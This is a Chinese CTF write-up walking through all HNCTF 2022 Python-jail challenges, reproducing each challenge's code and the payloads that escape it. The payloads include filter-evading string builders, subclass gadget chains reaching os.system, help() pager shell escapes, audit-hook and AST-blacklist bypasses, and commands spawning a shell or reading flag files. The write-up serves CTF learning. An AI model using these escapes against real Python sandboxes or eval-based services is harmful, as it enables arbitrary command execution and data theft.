前言

之前没咋了解过这种题目,前几天强网杯遇到了三个pyjail题,当时搜文章出来全是HNCTF2022的wp和先知社区的总结文章,当时强网也只出了两个,于是打算赛后好好学习一下python沙箱逃逸的内容,感觉内容还挺多的,这篇先把2022的HNCTF题给全刷了(主要看的wp),下一篇在对知识总结

HNCTF2022wp

这里用的nssctf的平台来做的: https://www.nssctf.cn/

[HNCTF 2022 Week1]calc_jail_beginner(JAIL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

无过滤:

1
2
3
4
5
6
7
直接用__import__:
__import__('os').system('cat flag')
直接读:
open('flag').read()
print(open('flag').read())
builtins模块里有__import__:
__builtins__.__import__('os').system('cat flag')

[HNCTF 2022 Week1]calc_jail_beginner_level1(JAIL)

考点: ==chr函数拼接绕过==
这里加了一个函数

1
2
3
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

过滤了单双引号,反引号和ib两个字母
我们可以用chr()函数拼接绕过:
1
open('flag').read()

flag:
1
chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)

读文件:
1
open(chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)).read()

执行命令:
1
2
3
4
5
6
7
8
9
10
exec(input())的chr拼接:
chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29)

eval(exec(input())):
eval(chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29))
然后输入:
__import__('os').system('cat flag')

同理可以直接执行__import__('os').system('whoami')
eval(chr(0x5f)+ chr(0x5f)+chr(0x69)+chr(0x6d)+chr(0x70)+chr(0x6f)+chr(0x72)+chr(0x74)+chr(0x5f)+chr(0x5f)+chr(0x28)+chr(0x27)+chr(0x6f)+chr(0x73)+chr(0x27)+chr(0x29)+chr(0x2e)+chr(0x73)+chr(0x79)+chr(0x73)+chr(0x74)+chr(0x65)+chr(0x6d)+chr(0x28)+chr(0x27)+chr(0x77)+chr(0x68)+chr(0x6f)+chr(0x61)+chr(0x6d)+chr(0x69)+chr(0x27)+chr(0x29))

[HNCTF 2022 Week1]calc_jail_beginner_level2(JAIL)

考点: ==input()和breakpoint绕过长度限制==
这里只限制了一个13位长度

1
2
3
if len(input_data)>13:
print("Oh hacker!")
exit(0)

  1. 直接把恶意代码带到后面的输入:

    1
    2
    exec(input())
    __import__('os').system('cat flag')
  2. breakpoint()断点调试

    1
    2
    breakpoint()
    open('flag').read()

[HNCTF 2022 Week1]calc_jail_beginner_level2.5(JAIL)

考点: ==breakpoint函数绕过长度限制==
这回在上一关限制13个字符的基础上加了个filter函数

1
2
3
4
5
6
def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

还是可以使用breakpoint()

[HNCTF 2022 Week1]calc_jail_beginner_level3(JAIL)

考点: ==help函数配合Linux的more/less命令特性来rce==
hint:seccon final 2021
这关限制了长度小于等于7个,还给了提示,我们breakpoint()肯定用不了了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

参考文章: https://shellcodes.org/Hacking/Python%20eval%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7.html
python内置的help函数可以执行任意系统命令:

  1. 输入help()进入help交互式
  2. 输入一个任意模块获得改模块的帮助文档,比如sys
  3. Linux中呈现帮助文档是用more或者less命令的,我们可以借助Linux这两个命令的可以执行子shell命令的特性来执行命令
  4. 在more或less命令里可以通过输入!或者#!后面接命令执行子shell命令
    1
    2
    3
    help()
    sys
    !cat flag
    image.png

    [HNCTF 2022 Week1]python2 input(JAIL)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

直接读:

1
open('flag').read()

[HNCTF 2022 Week1]lake lake lake(JAIL)

考点: ==globals()函数获取全局变量==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

有两个功能都能执行eval函数,第一个限制9个长度,第二个只要key对了没有任何限制
可以获取全局变量globals

1
print(eval("globals()"))

image.png

[HNCTF 2022 Week1]l@ke l@ke l@ke(JAIL)

考点: ==help()函数的server查看全局变量==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

和上题逻辑一样,第一个eval限制6个字符,不能用globals()了
可以使用help()函数的server查看全局变量
image.png
1
open('flag').read()

[HNCTF 2022 WEEK2]calc_jail_beginner_level4(JAIL)

考点: ==bytes()函数拼接字符串==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#No danger function,no chr,Try to hack me!!!!
#Try to read file ./flag


BANLIST = ['__loader__', '__import__', 'compile', 'eval', 'exec', 'chr']

eval_func = eval

for m in BANLIST:
del __builtins__.__dict__[m]

del __loader__, __builtins__

def filter(s):
not_allowed = set('"\'`')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ _ _
| | (_) (_) (_) | | | | | || |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _|
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval_func(input_data)))

删了一些内置函数包括chr(),但是没有ban函数open,黑名单有单双引号,反引号
此时可以用bytes([]).decode()来代替chr()

1
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

和上题一样的payload

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)

考点: ==type()函数来拼接字符串==

1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!

这里把bytes给ban了
这里学到了用type(str(1).encode())([i])来表示ascii值为i的字节
1
2
3
4
5
6
7
8
9
10
11
type(str(1).encode())([115])就是b's'

system:
(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()

('ls'):
((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())

所以:system('ls')
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())

cat flag_y0u_CaNt_FiNd_mE
有点长,写个脚本来生产:('cat flag_y0u_CaNt_FiNd_mE')

1
2
3
4
5
6
7
8
9
10
11
12
13

str="cat flag_y0u_CaNt_FiNd_mE"
str1=''
for i in str:
num=ord(i)
print(num)
if i==str[-1]:
str1 += f"type(str(1).encode())([{num}])"
break
str1+=f"type(str(1).encode())([{num}])+"
print(str1)
res='(('+str1+').decode())'
print(res)

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([99])+type(str(1).encode())([97])+type(str(1).encode())([116])+type(str(1).encode())([32])+type(str(1).encode())([102])+type(str(1).encode())([108])+type(str(1).encode())([97])+type(str(1).encode())([103])+type(str(1).encode())([95])+type(str(1).encode())([121])+type(str(1).encode())([48])+type(str(1).encode())([117])+type(str(1).encode())([95])+type(str(1).encode())([67])+type(str(1).encode())([97])+type(str(1).encode())([78])+type(str(1).encode())([116])+type(str(1).encode())([95])+type(str(1).encode())([70])+type(str(1).encode())([105])+type(str(1).encode())([78])+type(str(1).encode())([100])+type(str(1).encode())([95])+type(str(1).encode())([109])+type(str(1).encode())([69])).decode())

image.png

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.2(JAIL)

考点: ==type函数配合__add__方法(替代加号)拼接字符串==

1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,byte and `,",',+ Good luck!

这关过滤了加号,用__add__来替代加号
这里直接用参考文章师傅的脚本:
1
2
3
4
5
6
7
8
9
10
11

lst=[]
for i in "system":#cat flag_y0u_CaNt_FiNd_mE
lst.append(f"type(str(1).encode())([{ord(i)}])")

print(lst)
print("("+lst.pop(0),end='')
for i in lst:
print(f".__add__({i})",end='')

print(").decode()")

1
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115]).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([115])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([101])).__add__(type(str(1).encode())([109]))).decode()]((type(str(1).encode())([99]).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([32])).__add__(type(str(1).encode())([102])).__add__(type(str(1).encode())([108])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([103])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([121])).__add__(type(str(1).encode())([48])).__add__(type(str(1).encode())([117])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([67])).__add__(type(str(1).encode())([97])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([116])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([70])).__add__(type(str(1).encode())([105])).__add__(type(str(1).encode())([78])).__add__(type(str(1).encode())([100])).__add__(type(str(1).encode())([95])).__add__(type(str(1).encode())([109])).__add__(type(str(1).encode())([69]))).decode())

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL)

考点: ==list(dict(system=xxx))[0]来获取xxx字符串==

1
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes,open,type and `,",',+ Good luck!

这里把type给ban了,不能通过type(str(1).encode())([78])来获取字符,可以通过list(dict(system=114514))[0]来获取system

1
2
3
4
5
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=114514))[0]](list(dict(ls=1))[0])

或者直接来个sh连接
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[list(dict(system=1))[0]](list(dict(sh=1))[0])

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(JAIL)

这题没ban open()函数

1
open('flag').read()

[HNCTF 2022 WEEK2]calc_jail_beginner_level5.1(JAIL)

考点: ==dir()函数查看变量属性==
这里肯定ban了open了

1
2
3
4
5
6
7
8
正常dir跟进查看
dir()
['__builtins__', 'my_flag']
dir(my_flag)
发现一个flag_level5
dir(my_flag.flag_level5)
发现一个encode方法
my_flag.flag_level5.encode()

[HNCTF 2022 WEEK2]laKe laKe laKe(JAIL)

考点: __import__("sys").__stdout__.write绕过无回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# You finsih these two challenge of leak
# So cool
# Now it's time for laKe!!!!

import random
from io import StringIO
import sys

sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']
#这里把eval和open函数赋给新的变量,因为后面要把他们从内置变量里面删除了,但是后面还需要用到这些函数的功能
eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]#删内置函数

#设置黑名单
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn', 'os.spawn', 'subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))


def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''), {}, {})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score


WELCOME = '''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''


def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')


if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

这里需要猜个很大随机数,猜对了才读flag,还把sys.stdout、sys.seterr重定向了,调用print无法输出,这里是通过__import__("sys").__stdout__.write向屏幕写入数据
我们读取flag文件方式有两种:

  1. os.read()函数:
    image.png
1
__import__("sys").__stdout__.write(__import__("os").read(__import__("os").open("./flag",__import__("os").O_RDONLY), 0x114).decode())
  1. io.open()函数
    1
    2
    3
    __import__("io").open("test").read()类似这样可以直接读取函数
    payload:
    __import__("sys").__stdout__.write(__import__("io").open("flag").read())

[HNCTF 2022 WEEK2]lak3 lak3 lak3(JAIL)

考点: ==sys._getframe()方法查看全局变量==
这里相对于上一关就把hook多ban了几个函数

1
2
3
4
def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen','code.__new__','function.__new__','cpython._PySys_ClearAuditHooks','open'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

__import__("sys").__stdout__.write可以执行,但是open()函数ban了,无法打开文件了

这里需要学习一下sys._getframe方法,参考: https://rrroger.github.io/notebook/python/sys._getframe.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import sys


def test_func():
caller = sys._getframe(1)
file_name = caller.f_code.co_filename # 获取调用函数名所在路径
func_name = caller.f_code.co_name # 获取调用函数名
line_number = caller.f_lineno # 获取调用函数行号
print(f"被调用函数名路径: {file_name}")
print(f"被调用函数名: {func_name}")
print(f"被调用函数行号: {line_number}")

cur_func = sys._getframe()
file_name = cur_func.f_code.co_filename # 获取调用函数名所在路径
func_name = cur_func.f_code.co_name # 获取调用函数名
line_number = cur_func.f_lineno # 获取调用函数行号; 结果为当前行
print(f"当前函数名路径: {file_name}")
print(f"当前函数名: {func_name}")
print(f"当前函数行号: {line_number}")


def caller_func():
test_func()


if __name__ == '__main__':
caller_func()

fuzz:
1
2
3
4
5
6
7
8
9
10
11
__import__("sys")._getframe(0)
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(0).f_code.co_filename))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(0).f_lineno))

__import__("sys").__stdout__.write(str(__import__("sys")._getframe(1).f_code.co_filename))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(1).f_lineno))
__import__("sys").__stdout__.write(str(__import__("sys")._getframe(1).f_code.co_name))

f_locals属性查看变量:
__import__("sys").__stdout__.write(str(__import__('sys')._getframe(1).f_locals))
这里获取了right_guesser_question_answer

image.png

1
int(str(__import__('sys')._getframe(1).f_locals["right_guesser_question_answer"]))

[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL)

考点: ==修改set内置函数的值==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
White list of audit hook ===> builtins.input,builtins.input/result,exec,compile
Some code of python jail:

dict_global = dict()
while True:
try:
input_data = input("> ")
except EOFError:
print()
break
except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)

参考: CTFtime.org / 圣地亚哥 CTF 2021 / HAXLAB — 残局 Pwn / Writeup
这题的白名单是通过set函数设置的,我们,而我们可以修改set这个内置函数的值为一个包含os.system的列表
eg
1
2
3
4
5
6
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
WHITED_EVENTS = set({"builtins.input", "builtins.input/result", "exec", "compile"})
print(WHITED_EVENTS)

#结果:
['builtins.input', 'builtins.input/result', 'exec', 'compile', 'os.system']

payload:
1
2
3
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('ls')")

exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag')")

[HNCTF 2022 WEEK3]s@Fe safeeval(JAIL)

考点: ==lambda调用函数==

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Terminal features will not be available.  Consider setting TERM variable to your current terminal name (or xterm).

______ __ _
____ | ____| / _| | |
___ / __ \| |__ ___ ___ __ _| |_ ___ _____ ____ _| |
/ __|/ / _` | __/ _ \ / __|/ _` | _/ _ \/ _ \ \ / / _` | |
\__ \ | (_| | | | __/ \__ \ (_| | || __/ __/\ V / (_| | |
|___/\ \__,_|_| \___| |___/\__,_|_| \___|\___| \_/ \__,_|_|
\____/


Turing s@Fe mode: on
Black List:

[
'POP_TOP','ROT_TWO','ROT_THREE','ROT_FOUR','DUP_TOP',
'BUILD_LIST','BUILD_MAP','BUILD_TUPLE','BUILD_SET',
'BUILD_CONST_KEY_MAP', 'BUILD_STRING','LOAD_CONST','RETURN_VALUE',
'STORE_SUBSCR', 'STORE_MAP','LIST_TO_TUPLE', 'LIST_EXTEND', 'SET_UPDATE',
'DICT_UPDATE', 'DICT_MERGE','UNARY_POSITIVE','UNARY_NEGATIVE','UNARY_NOT',
'UNARY_INVERT','BINARY_POWER','BINARY_MULTIPLY','BINARY_DIVIDE','BINARY_FLOOR_DIVIDE',
'BINARY_TRUE_DIVIDE','BINARY_MODULO','BINARY_ADD','BINARY_SUBTRACT','BINARY_LSHIFT',
'BINARY_RSHIFT','BINARY_AND','BINARY_XOR','BINARY_OR','MAKE_FUNCTION', 'CALL_FUNCTION'
]

some code:

import os
import sys
import traceback
import pwnlib.util.safeeval as safeeval
input_data = input('> ')
print(expr(input_data))
def expr(n):
if TURING_PROTECT_SAFE:
m = safeeval.test_expr(n, blocklist_codes)
return eval(m)
else:
return safeeval.expr(n)

1
(lambda:os.system('cat flag'))()

[HNCTF 2022 WEEK3]calc_jail_beginner_level7(JAIL)

考点: ==AST生成树的类型绕过(metaclass方法绕过Call类型)==

1
Black List AST:                  'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef,Sub,Mult,Div,Del'

这里的AST禁用是把python代码转为AST语法树查看类型是否等于以上类型,这里直接给出源码算了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import ast
import sys
import os

WELCOME = '''

_ _ _ _ _ _ _ ______
(_) (_) | | | (_) | | | |____ |
_ __ _ _| | | |__ ___ __ _ _ _ __ _ __ ___ _ __ | | _____ _____| | / /
| |/ _` | | | | '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _ \ \ / / _ \ | / /
| | (_| | | | | |_) | __/ (_| | | | | | | | | __/ | | | __/\ V / __/ | / /
| |\__,_|_|_| |_.__/ \___|\__, |_|_| |_|_| |_|\___|_| |_|\___| \_/ \___|_|/_/
_/ | __/ |
|__/ |___/

'''

def verify_ast_secure(m):
for x in ast.walk(m):#遍历AST`m`中的所有节点
match type(x):#匹配这些节点的类型与下面的类型做比较查看是否相等
case (ast.Import|ast.ImportFrom|ast.Call|ast.Expr|ast.Add|ast.Lambda|ast.FunctionDef|ast.AsyncFunctionDef|ast.Sub|ast.Mult|ast.Div|ast.Del):
print(f"ERROR: Banned statement {x}")
return False
return True


def exexute_code(my_source_code):
print("Pls input your code: (last line must contain only --HNCTF)")
while True:
line = sys.stdin.readline()
if line.startswith("--HNCTF"):#以--HNCTF开头的代码作为结束标识
break
my_source_code += line

tree_check = compile(my_source_code, "input_code.py", 'exec', flags=ast.PyCF_ONLY_AST)
#将 my_source_code 中的 Python 代码编译成抽象语法树(AST),并将该 AST 对象赋值给 tree_check 变量
if verify_ast_secure(tree_check):
print("check is passed!now the result is:")
compiled_code = compile(my_source_code, "input_code.py", 'exec')
exec(compiled_code)
print("Press any key to continue")
sys.stdin.readline()


while True:
os.system("clear")
print(WELCOME)
print("=================================================================================================")
print("== Welcome to the calc jail beginner level7,It's AST challenge ==")
print("== Menu list: ==")
print("== [G]et the blacklist AST ==")
print("== [E]xecute the python code ==")
print("== [Q]uit jail challenge ==")
print("=================================================================================================")
ans = (sys.stdin.readline().strip()).lower()
if ans == 'g':
print("=================================================================================================")
print("== Black List AST: ==")
print("== 'Import,ImportFrom,Call,Expr,Add,Lambda,FunctionDef,AsyncFunctionDef ==")
print("== Sub,Mult,Div,Del' ==")
print("=================================================================================================")
print("Press any key to continue")
sys.stdin.readline()
elif ans == 'e':
my_source_code = ""
exexute_code(my_source_code)
elif ans == 'q':
print("Bye")
quit()
else:
print("Unknown options!")
quit()

看大佬博客发现需要学一个魔术方法metaclass,链接: https://zhuanlan.zhihu.com/p/149126959
这个方法可以给原生类添加新的属性
eg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class ListMeta(type):
def __new__(cls, name, bases, attrs):
# 在类属性当中添加了add函数
# 通过匿名函数映射到append函数上
attrs['add'] = lambda self, value: self.append(value)
return super().__new__(cls, name, bases, attrs)


class MyList(list, metaclass=ListMeta):
pass
lt=MyList()
print(lt)
lt.add(3)
print(lt)

#[]
#[3]

现在可以把一个类的一个属性改为os.system函数,调用的时候可以直接执行,这里需要用到__getitem,本来是获取列表或字典的值的一个属性
eg.

1
2
3
4
5
import os
class jmx():
pass
jmx.__getitem__=os.system
jmx()['whoami']

而此时ast生成树有黑名单的ExprCall

1
2
3
4
5
6
7
8
import ast
src="""import os
class jmx():
pass
jmx.__getitem__=os.system
jmx()['whoami']"""
ast_code=ast.parse(src,"test4.py",mode="exec")
print(ast.dump(ast_code))

  • Expr可以通过赋值绕过
  • Call可以用metaclass给类添加属性绕过,这样不是类生成的对象有这个属性,这样我们就不用调用实例化类的Call
    payload:
    1
    2
    3
    4
    5
    6
    7
    import os
    class jmx(type):
    __getitem__=os.system
    class evil(metaclass=jmx):
    pass
    poc=evil['sh']
    --HNCTF
    这里发现Import也ban了.而题目环境是有os的,所以我们把mport os删了就行
    1
    2
    3
    4
    5
    6
    class jmx(type):
    __getitem__=os.system
    class evil(metaclass=jmx):
    pass
    poc=evil['sh']
    --HNCTF
    image.png

参考

https://www.woodwhale.top/archives/hnctfj-ail-all-in-one#week2lak3-lak3-lak3jail